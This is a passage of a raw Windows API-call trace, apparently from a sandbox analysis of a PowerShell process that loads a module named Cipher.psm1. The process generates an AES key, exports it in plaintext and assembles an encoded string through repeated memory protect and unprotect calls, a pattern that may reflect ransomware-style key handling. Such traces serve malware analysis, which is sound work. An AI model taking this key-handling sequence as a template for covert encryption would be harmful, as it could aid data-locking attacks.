lpCs=0x99ae5d4) returned 0 [0126.180] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae69c | out: lpConsoleScreenBufferInfo=0x99ae69c) returned 1 [0126.193] GetConsoleOutputCP () returned 0x1b5 [0126.198] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae638, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae638) returned 0 [0126.198] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae6a4 | out: lpMode=0x99ae6a4) returned 1 [0126.201] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x6c2ffa4*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae69c, lpReserved=0x0 | out: lpBuffer=0x6c2ffa4*, lpNumberOfCharsWritten=0x99ae69c*=0x77) returned 1 [0126.201] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae6a4 | out: lpMode=0x99ae6a4) returned 1 [0126.202] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68c0ccc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae69c, lpReserved=0x0 | out: lpBuffer=0x68c0ccc*, lpNumberOfCharsWritten=0x99ae69c*=0x2) returned 1 [0126.203] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee08*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee08*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x85, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.203] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aee6c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x77, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aee6c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x77, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.203] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeaa4, nSize=0x100 | out: lpBuffer="\xdf00\x676\x40\x677\x56b8\x6b9\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\x1000\x666\xe860\x676\x56b8\x6b9\x500") returned 0x0 [0126.204] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae780, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0126.204] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aee7c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee7c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8a, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.204] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeddc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeddc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x77, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.204] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aee6c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8a, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aee6c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8a, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.205] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae6f8, nSize=0x100 | out: lpBuffer="\x1161\x73b6\x3067\x6b24\x14\x01\xd440\x73ae\x96e8\x667") returned 0x0 [0126.205] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae3d4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0126.205] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aead0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aead0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8b, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.205] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aea30*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aea30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8a, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.205] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeac0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8b, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeac0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8b, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.205] CryptAcquireContextW (in: phProv=0x99ae370, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae370*=0x8e021c8) returned 1 [0126.206] CryptGenKey (in: hProv=0x8e021c8, Algid=0x6610, dwFlags=0x1, phKey=0x99ae79c | out: phKey=0x99ae79c*=0x8e84df8) returned 1 [0126.206] CryptContextAddRef (hProv=0x8e021c8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0126.206] CryptExportKey (in: hKey=0x8e84df8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae788 | out: pbData=0x0*, pdwDataLen=0x99ae788*=0x2c) returned 1 [0126.206] CryptExportKey (in: hKey=0x8e84df8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x6c39b90, pdwDataLen=0x99ae788 | out: pbData=0x6c39b90*, pdwDataLen=0x99ae788*=0x2c) returned 1 [0126.206] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2ec, nSize=0x100 | out: lpBuffer="") returned 0x0 [0126.206] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae6c4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6c4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8c, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.206] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae624*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae624*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8b, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.206] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae6b4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8c, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae6b4*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8c, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0126.207] SysStringLen (param_1="") returned 0x8 [0126.207] SysStringLen (param_1="9") returned 0x8 [0126.207] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.207] SysStringLen (param_1="\x31f7\xcd08\x3d8f\x564c\xc07d\x2dc\x10fb\x81f5") returned 0x8 [0126.207] SysStringLen (param_1="\x31f7\xcd08\x3d8f\x564c\xc07d\x2dc\x10fb\x81f5") returned 0x8 [0126.207] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.207] SysStringLen (param_1="9D") returned 0x8 [0126.207] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.207] SysStringLen (param_1="\xc0c6\x9195\x140a\xc1c4\xce87\x496d\xb5a3\x20d9") returned 0x8 [0126.207] SysStringLen (param_1="\xc0c6\x9195\x140a\xc1c4\xce87\x496d\xb5a3\x20d9") returned 0x8 [0126.207] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.207] SysStringLen (param_1="9DN") returned 0x8 [0126.207] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.207] SysStringLen (param_1="Ⱆ唗꼣騢ಱ໻빑네") returned 0x8 [0126.207] SysStringLen (param_1="Ⱆ唗꼣騢ಱ໻빑네") returned 0x8 [0126.207] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.207] SysStringLen (param_1="9DN1") returned 0x8 [0126.207] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.208] SysStringLen (param_1="\x8c2c\xb9cf\x5383\x6baa\x3a76\x6eca\xf100\x7606") returned 0x8 [0126.208] SysStringLen (param_1="\x8c2c\xb9cf\x5383\x6baa\x3a76\x6eca\xf100\x7606") returned 0x8 [0126.208] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.208] SysStringLen (param_1="9DN1T") returned 0x8 [0126.208] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.208] SysStringLen (param_1="\x685b\xcee1\x4e31\xac1e\x550b\x4ac\xdfcd\xbff4") returned 0x8 [0126.208] SysStringLen (param_1="\x685b\xcee1\x4e31\xac1e\x550b\x4ac\xdfcd\xbff4") returned 0x8 [0126.208] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.208] SysStringLen (param_1="9DN1Tb") returned 0x8 [0126.208] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.208] SysStringLen (param_1="\x74bc\x91a2\xa171\x1ac2\xbe1b\xd879\x65b4\x40ee") returned 0x8 [0126.208] SysStringLen (param_1="\x74bc\x91a2\xa171\x1ac2\xbe1b\xd879\x65b4\x40ee") returned 0x8 [0126.208] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.208] SysStringLen (param_1="9DN1Tbi") returned 0x8 [0126.208] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.208] SysStringLen (param_1="\x835e\x7011\xfe97\xa59f\xe66d\xd04e\x1f68\x89c4") returned 0x8 [0126.208] SysStringLen (param_1="\x835e\x7011\xfe97\xa59f\xe66d\xd04e\x1f68\x89c4") returned 0x8 [0126.208] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.208] SysStringLen (param_1="9DN1TbiZ") returned 0x8 [0126.208] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0126.208] SysStringLen (param_1="\x1c77\xdba0\xdbb7\x637\xca90\x6f5f\x676\xfcef") returned 0x8 [0126.209] SysStringLen (param_1="\x1c77\xdba0\xdbb7\x637\xca90\x6f5f\x676\xfcef") returned 0x8 [0126.209] SysStringLen (param_1="\x1c77\xdba0\xdbb7\x637\xca90\x6f5f\x676\xfcef") returned 0x8 [0126.209] SysStringLen (param_1="\x1c77\xdba0\xdbb7\x637\xca90\x6f5f\x676\xfcef") returned 0x10 [0126.209] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.209] SysStringLen (param_1="9DN1TbiZoꣿܱ๐篊䎍찼") returned 0x10 [0126.209] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.209] SysStringLen (param_1="\x1c77\xdba0\xdbb7\x637\xca90\x6f5f\x676\xfcef\xa381\x13f2\x5c5a\x3d70\x5411\x6cc7\xd037\x6b71") returned 0x10 [0126.209] SysStringLen (param_1="\x1c77\xdba0\xdbb7\x637\xca90\x6f5f\x676\xfcef\xa381\x13f2\x5c5a\x3d70\x5411\x6cc7\xd037\x6b71") returned 0x10 [0126.209] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.209] SysStringLen (param_1="9DN1TbiZoOꣿܱ๐篊䎍찼") returned 0x10 [0126.209] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.209] SysStringLen (param_1="\x1c77\xdba0\xdbb7\x637\xca90\x6f5f\x676\xfcef\xb6f7\xded2\x1c3d\xa971\x1ed4\x2d91\xb7f6\x7c7a") returned 0x10 [0126.209] SysStringLen (param_1="\x1c77\xdba0\xdbb7\x637\xca90\x6f5f\x676\xfcef\xb6f7\xded2\x1c3d\xa971\x1ed4\x2d91\xb7f6\x7c7a") returned 0x10 [0126.209] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.209] SysStringLen (param_1="9DN1TbiZoO6ܱ๐篊䎍찼") returned 0x10 [0126.209] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.209] SysStringLen (param_1="\x1c77\xdba0\xdbb7\x637\xca90\x6f5f\x676\xfcef\x160c\xcc89\x153a\x57ae\xc8c2\x72a5\x3f98\x1695") returned 0x10 [0126.209] SysStringLen (param_1="\x1c77\xdba0\xdbb7\x637\xca90\x6f5f\x676\xfcef\x160c\xcc89\x153a\x57ae\xc8c2\x72a5\x3f98\x1695") returned 0x10 [0126.209] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.209] SysStringLen (param_1="9DN1TbiZoO6o๐篊䎍찼") returned 0x10 [0126.209] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.210] SysStringLen (param_1="\x1c77\xdba0\xdbb7\x637\xca90\x6f5f\x676\xfcef\x1baa\x56f1\xf909\x313d\xb9d0\x34c9\x5bc1\x6553") returned 0x10 [0126.210] SysStringLen (param_1="\x1c77\xdba0\xdbb7\x637\xca90\x6f5f\x676\xfcef\x1baa\x56f1\xf909\x313d\xb9d0\x34c9\x5bc1\x6553") returned 0x10 [0126.210] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.210] SysStringLen (param_1="9DN1TbiZoO6oz篊䎍찼") returned 0x10 [0126.210] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.210] SysStringLen (param_1="\x1c77\xdba0\xdbb7\x637\xca90\x6f5f\x676\xfcef\x6c3d\xd59b\x1fb1\x7b90\xa4aa\xa580\x9e2d\x74ad") returned 0x10 [0126.210] SysStringLen (param_1="\x1c77\xdba0\xdbb7\x637\xca90\x6f5f\x676\xfcef\x6c3d\xd59b\x1fb1\x7b90\xa4aa\xa580\x9e2d\x74ad") returned 0x10 [0126.210] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.210] SysStringLen (param_1="9DN1TbiZoO6oz/䎍찼") returned 0x10 [0126.210] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.210] SysStringLen (param_1="\x1c77\xdba0\xdbb7\x637\xca90\x6f5f\x676\xfcef\xa8d8\x6711\x8a64\xc017\xa768\x5f85\x83bf\xb69a") returned 0x10 [0126.210] SysStringLen (param_1="\x1c77\xdba0\xdbb7\x637\xca90\x6f5f\x676\xfcef\xa8d8\x6711\x8a64\xc017\xa768\x5f85\x83bf\xb69a") returned 0x10 [0126.210] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.210] SysStringLen (param_1="9DN1TbiZoO6oz/4찼") returned 0x10 [0126.210] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.210] SysStringLen (param_1="\x1c77\xdba0\xdbb7\x637\xca90\x6f5f\x676\xfcef\xb356\xb5e0\x142b\xb994\x5b1c\xc127\x92f8\xb419") returned 0x10 [0126.210] SysStringLen (param_1="\x1c77\xdba0\xdbb7\x637\xca90\x6f5f\x676\xfcef\xb356\xb5e0\x142b\xb994\x5b1c\xc127\x92f8\xb419") returned 0x10 [0126.210] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.210] SysStringLen (param_1="9DN1TbiZoO6oz/4U") returned 0x10 [0126.210] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0126.210] SysStringLen (param_1="\x1c77\xdba0\xdbb7\x637\xca90\x6f5f\x676\xfcef\x8af3\xc2b3\xe984\xc7a2\x397f\xe1f0\x56a1\x6340") returned 0x10 [0126.210] SysStringLen (param_1="\x1c77\xdba0\xdbb7\x637\xca90\x6f5f\x676\xfcef\x8af3\xc2b3\xe984\xc7a2\x397f\xe1f0\x56a1\x6340") returned 0x10 [0126.210] SysStringLen (param_1="\x1c77\xdba0\xdbb7\x637\xca90\x6f5f\x676\xfcef\x8af3\xc2b3\xe984\xc7a2\x397f\xe1f0\x56a1\x6340") returned 0x10 [0126.211] SysStringLen (param_1="\x1c77\xdba0\xdbb7\x637\xca90\x6f5f\x676\xfcef\x8af3\xc2b3\xe984\xc7a2\x397f\xe1f0\x56a1\x6340") returned 0x18 [0126.211] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.211] SysStringLen (param_1="9DN1TbiZoO6oz/4UE슙髌욤ﶿፚ厓") returned 0x18 [0126.211] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.211] SysStringLen (param_1="\x1c77\xdba0\xdbb7\x637\xca90\x6f5f\x676\xfcef\x8af3\xc2b3\xe984\xc7a2\x397f\xe1f0\x56a1\x6340\xbae9\x498d\x59c8\xf7c8\x5516\x32d7\x903b\x4b35") returned 0x18 [0126.211] SysStringLen (param_1="\x1c77\xdba0\xdbb7\x637\xca90\x6f5f\x676\xfcef\x8af3\xc2b3\xe984\xc7a2\x397f\xe1f0\x56a1\x6340\xbae9\x498d\x59c8\xf7c8\x5516\x32d7\x903b\x4b35") returned 0x18 [0126.211] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.211] SysStringLen (param_1="9DN1TbiZoO6oz/4UEA髌욤ﶿፚ厓") returned 0x18 [0126.211] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.211] SysStringLen (param_1="\x1c77\xdba0\xdbb7\x637\xca90\x6f5f\x676\xfcef\x8af3\xc2b3\xe984\xc7a2\x397f\xe1f0\x56a1\x6340\x6cb4\x4ac4\x4037\x5e49\x92bb\xfd9\xbc37\x5ad3") returned 0x18 [0126.211] SysStringLen (param_1="\x1c77\xdba0\xdbb7\x637\xca90\x6f5f\x676\xfcef\x8af3\xc2b3\xe984\xc7a2\x397f\xe1f0\x56a1\x6340\x6cb4\x4ac4\x4037\x5e49\x92bb\xfd9\xbc37\x5ad3") returned 0x18 [0126.211] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.211] SysStringLen (param_1="9DN1TbiZoO6oz/4UEA7욤ﶿፚ厓") returned 0x18 [0126.211] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.211] SysStringLen (param_1="\x1c77\xdba0\xdbb7\x637\xca90\x6f5f\x676\xfcef\x8af3\xc2b3\xe984\xc7a2\x397f\xe1f0\x56a1\x6340\x1bd6\x58dc\x5f07\x217d\xed01\x8bcf\x5f82\x372e") returned 0x18 [0126.211] SysStringLen (param_1="\x1c77\xdba0\xdbb7\x637\xca90\x6f5f\x676\xfcef\x8af3\xc2b3\xe984\xc7a2\x397f\xe1f0\x56a1\x6340\x1bd6\x58dc\x5f07\x217d\xed01\x8bcf\x5f82\x372e") returned 0x18 [0126.211] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.211] SysStringLen (param_1="9DN1TbiZoO6oz/4UEA7zﶿፚ厓") returned 0x18 [0126.211] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.211] SysStringLen (param_1="\x1c77\xdba0\xdbb7\x637\xca90\x6f5f\x676\xfcef\x8af3\xc2b3\xe984\xc7a2\x397f\xe1f0\x56a1\x6340\x3c47\xebc5\xa788\x9666\xd00c\x3541\xebd9\xd618") returned 0x18 [0126.211] SysStringLen (param_1="\x1c77\xdba0\xdbb7\x637\xca90\x6f5f\x676\xfcef\x8af3\xc2b3\xe984\xc7a2\x397f\xe1f0\x56a1\x6340\x3c47\xebc5\xa788\x9666\xd00c\x3541\xebd9\xd618") returned 0x18 [0126.211] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.212] SysStringLen (param_1="9DN1TbiZoO6oz/4UEA7zyፚ厓") returned 0x18 [0126.212] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.212] SysStringLen (param_1="\x1c77\xdba0\xdbb7\x637\xca90\x6f5f\x676\xfcef\x8af3\xc2b3\xe984\xc7a2\x397f\xe1f0\x56a1\x6340\x912b\xf79d\xa824\xb0bd\x8368\xfb8a\x1e5c\x4664") returned 0x18 [0126.212] SysStringLen (param_1="\x1c77\xdba0\xdbb7\x637\xca90\x6f5f\x676\xfcef\x8af3\xc2b3\xe984\xc7a2\x397f\xe1f0\x56a1\x6340\x912b\xf79d\xa824\xb0bd\x8368\xfb8a\x1e5c\x4664") returned 0x18 [0126.212] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.212] SysStringLen (param_1="9DN1TbiZoO6oz/4UEA7zySፚ厓") returned 0x18 [0126.212] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.212] SysStringLen (param_1="\x1c77\xdba0\xdbb7\x637\xca90\x6f5f\x676\xfcef\x8af3\xc2b3\xe984\xc7a2\x397f\xe1f0\x56a1\x6340\x1c7d\x3fc3\xde7a\x78c0\xfbd6\x618f\x2082\x7aef") returned 0x18 [0126.212] SysStringLen (param_1="\x1c77\xdba0\xdbb7\x637\xca90\x6f5f\x676\xfcef\x8af3\xc2b3\xe984\xc7a2\x397f\xe1f0\x56a1\x6340\x1c7d\x3fc3\xde7a\x78c0\xfbd6\x618f\x2082\x7aef") returned 0x18 [0126.212] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.212] SysStringLen (param_1="9DN1TbiZoO6oz/4UEA7zySb厓") returned 0x18 [0126.212] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.212] SysStringLen (param_1="\x1c77\xdba0\xdbb7\x637\xca90\x6f5f\x676\xfcef\x8af3\xc2b3\xe984\xc7a2\x397f\xe1f0\x56a1\x6340\x9a8a\x9f46\xd3c4\xb798\x74c9\x91e6\xcbe\xc614") returned 0x18 [0126.212] SysStringLen (param_1="\x1c77\xdba0\xdbb7\x637\xca90\x6f5f\x676\xfcef\x8af3\xc2b3\xe984\xc7a2\x397f\xe1f0\x56a1\x6340\x9a8a\x9f46\xd3c4\xb798\x74c9\x91e6\xcbe\xc614") returned 0x18 [0126.212] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.212] SysStringLen (param_1="9DN1TbiZoO6oz/4UEA7zySbF") returned 0x18 [0126.212] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0126.212] SysStringLen (param_1="\x1c77\xdba0\xdbb7\x637\xca90\x6f5f\x676\xfcef\x8af3\xc2b3\xe984\xc7a2\x397f\xe1f0\x56a1\x6340\xdea5\x83f6\xa8d\x7731\x877e\x2d26\x8c3a\xbf25") returned 0x18 [0126.212] SysStringLen (param_1="\x1c77\xdba0\xdbb7\x637\xca90\x6f5f\x676\xfcef\x8af3\xc2b3\xe984\xc7a2\x397f\xe1f0\x56a1\x6340\xdea5\x83f6\xa8d\x7731\x877e\x2d26\x8c3a\xbf25") returned 0x18 [0126.212] SysStringLen (param_1="\x1c77\xdba0\xdbb7\x637\xca90\x6f5f\x676\xfcef\x8af3\xc2b3\xe984\xc7a2\x397f\xe1f0\x56a1\x6340\xdea5\x83f6\xa8d\x7731\x877e\x2d26\x8c3a\xbf25") returned 0x18 [0126.212] SysStringLen (param_1="\x1c77\xdba0\xdbb7\x637\xca90\x6f5f\x676\xfcef\x8af3\xc2b3\xe984\xc7a2\x397f\xe1f0\x56a1\x6340\xdea5\x83f6\xa8d\x7731\x877e\x2d26\x8c3a\xbf25") returned 0x20 [0126.213] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0126.213] SysStringLen (param_1="9DN1TbiZoO6oz/4UEA7zySbF2菜秅瘷䎾㦳직迶") returned 0x20 [0126.213] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: 